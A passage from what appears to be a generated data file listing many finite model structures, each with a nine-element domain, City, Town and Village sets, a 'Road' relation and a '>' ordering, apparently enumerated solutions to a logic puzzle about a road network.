('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '7'), ('2', '4'),
('1', '2'), ('3', '6'), ('7', '3'), ('9', '2'), ('5', '3'), ('4', '2'),
('1', '3'), ('2', '9'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '4'), ('3', '9'), ('5', '2'),
('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'),
('9', '3'), ('2', '7'), ('1', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '7'), ('3', '4'), ('5', '2'),
('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('9', '2'), ('4', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '7'), ('3', '4'), ('3', '9'),
('5', '2'), ('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('4', '3'),
('9', '3'), ('7', '3'), ('1', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '4'), ('5', '2'), ('1', '2'),
('2', '5'), ('3', '6'), ('9', '2'), ('4', '3'), ('7', '2'), ('2', '7'),
('1', '3'), ('2', '9'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '4'), ('3', '9'), ('5', '2'),
('1', '2'), ('2', '5'), ('3', '6'), ('4', '3'), ('7', '2'), ('9', '3'),
('2', '7'), ('1', '3'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '7'), ('3', '4'), ('5', '2'),
('1', '2'), ('2', '5'), ('3', '6'), ('9', '2'), ('4', '3'), ('7', '3'),
('1', '3'), ('2', '9'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '4'), ('1', '2'),
('2', '6'), ('6', '2'), ('9', '2'), ('4', '3'), ('7', '2'), ('5', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '4'), ('3', '9'),
('1', '2'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'), ('9', '3'),
('5', '3'), ('2', '7'), ('1', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '7'), ('3', '4'),
('1', '2'), ('2', '6'), ('6', '2'), ('9', '2'), ('4', '3'), ('5', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '4'), ('1', '2'),
('3', '6'), ('9', '2'), ('4', '3'), ('7', '2'), ('5', '3'), ('2', '7'),
('1', '3'), ('2', '9'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('5', '2'),
('2', '4'), ('1', '2'), ('1', '9'), ('2', '5'), ('2', '6'), ('6', '2'),
('7', '3'), ('8', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('3', '8'), ('5', '2'), ('2', '4'),
('1', '2'), ('1', '9'), ('2', '5'), ('4', '2'), ('3', '6'), ('7', '2'),
('8', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('5', '2'),
('2', '4'), ('1', '2'), ('1', '9'), ('2', '8'), ('2', '5'), ('3', '6'),
('7', '3'), ('4', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('5', '2'),
('2', '4'), ('1', '2'), ('1', '9'), ('2', '5'), ('3', '6'), ('7', '3'),
('8', '3'), ('4', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('9', '1'), ('3', '8'), ('2', '4'),
('1', '2'), ('1', '9'), ('2', '6'), ('4', '2'), ('6', '2'), ('7', '2'),
('8', '3'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('9', '1'),
('2', '4'), ('1', '2'), ('1', '9'), ('2', '8'), ('2', '6'), ('6', '2'),
('7', '3'), ('5', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('9', '1'), ('3', '8'),
('2', '4'), ('1', '2'), ('1', '9'), ('2', '6'), ('6', '2'), ('7', '3'),
('8', '3'), ('5', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('9', '1'), ('2', '4'),
('1', '2'), ('1', '9'), ('2', '8'), ('4', '2'), ('3', '6'), ('7', '2'),
('5', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('9', '1'), ('3', '8'), ('2', '4'),
('1', '2'), ('1', '9'), ('4', '2'), ('3', '6'), ('7', '2'), ('8', '3'),
('5', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('9', '1'),
('2', '4'), ('1', '2'), ('1', '9'), ('2', '8'), ('3', '6'), ('7', '3'),
('5', '3'), ('4', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('3', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('1', '9'), ('2', '5'), ('2', '6'), ('6', '2'), ('4', '3'),
('7', '2'), ('8', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'),
('5', '2'), ('2', '8'), ('1', '2'), ('1', '9'), ('2', '5'), ('2', '6'),
('6', '2'), ('4', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('3', '7'), ('3', '4'), ('3', '8'),
('5', '2'), ('1', '2'), ('1', '9'), ('2', '5'), ('2', '6'), ('6', '2'),
('4', '3'), ('8', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('8', '2'), ('3', '4'), ('5', '2'),
('2', '8'), ('1', '2'), ('1', '9'), ('2', '5'), ('3', '6'), ('4', '3'),
('7', '2'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('3', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('1', '9'), ('2', '5'), ('3', '6'), ('4', '3'), ('7', '2'),
('8', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('9', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'),
('5', '2'), ('2', '8'), ('1', '2'), ('1', '9'), ('2', '5'), ('3', '6'),
('4', '3'), ('7', '3'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('9', '1'), ('3', '4'),
('2', '8'), ('1', '2'), ('1', '9'), ('2', '6'), ('6', '2'), ('4', '3'),
('7', '2'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('9', '1'), ('3', '4'), ('3', '8'),
('1', '2'), ('1', '9'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'),
('8', '3'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'),
('9', '1'), ('2', '8'), ('1', '2'), ('1', '9'), ('2', '6'), ('6', '2'),
('4', '3'), ('5', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('9', '1'), ('3', '4'),
('2', '8'), ('1', '2'), ('1', '9'), ('3', '6'), ('4', '3'), ('7', '2'),
('5', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('3', '9'), ('2', '4'),
('1', '2'), ('5', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('7', '3'),
('8', '3'), ('9', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '8'), ('3', '9'), ('2', '4'), ('1', '2'),
('5', '2'), ('2', '5'), ('4', '2'), ('3', '6'), ('7', '2'), ('8', '3'),
('9', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('5', '2'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '8'), ('2', '5'), ('3', '6'), ('7', '3'),
('9', '3'), ('4', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('5', '2'), ('2', '4'),
('1', '2'), ('2', '5'), ('3', '6'), ('7', '3'), ('9', '2'), ('8', '3'),
('4', '2'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '8'), ('3', '9'), ('2', '4'),
('1', '2'), ('2', '6'), ('4', '2'), ('6', '2'), ('7', '2'), ('8', '3'),
('9', '3'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '8'), ('2', '6'), ('6', '2'), ('7', '3'),
('9', '3'), ('5', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('3', '8'), ('2', '4'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '3'), ('9', '2'), ('8', '3'),
('5', '3'), ('4', '2'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('3', '9'), ('2', '4'),
('1', '2'), ('2', '8'), ('4', '2'), ('3', '6'), ('7', '2'), ('9', '3'),
('5', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
